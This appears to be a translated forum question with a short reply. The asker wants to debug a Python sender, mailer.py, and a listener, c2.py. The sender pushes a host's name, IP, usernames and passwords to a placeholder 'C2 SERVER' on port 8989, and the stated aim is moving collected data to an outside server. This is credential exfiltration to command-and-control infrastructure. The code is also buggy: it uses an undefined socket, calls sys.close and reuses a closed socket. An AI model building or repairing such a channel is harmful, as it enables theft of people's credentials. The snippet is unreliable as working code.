0
我寫這個的目的是發送在一臺服務器上收集的數據發送到外部服務器。這個問題似乎與c2.py一樣,因爲mailer.py在發送數據時沒有問題,但c2.py將只輸出1個從唯一IP發送給它的消息。Python接收器不會接受每個客戶端超過1條消息
mailer.py(將數據發送到c2.py坐在另一臺服務器上)
C2 = "C2 SERVER"
C2PORT = 8989
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(10)
def send(ip, usr, pw):
try:
try:
s.connect((C2, C2PORT))
s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
print "sent"
except socket.error, ex:
print ex
except KeyboardInterrupt:
s.close()
sys.close()
c2.py(偵聽坐在另一臺服務器上)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('',8989))
s.listen(10)
def nodeRecv():
while 1:
try:
conn, addr = s.accept()
conn.settimeout(10)
print conn.recv(65000)
conn.close()
print "1"
except socket.error, ex:
conn.close()
print ex
if __name__ == "__main__":
print "Connected to localhost:8989"
print "Listening for nodes..."
nodeRecv()
看看這個答案 - https://stackoverflow.com/questions/15958026/getting-errno-9-bad-file-descriptor-in-python-socket,應該解決你的困境。 – droravr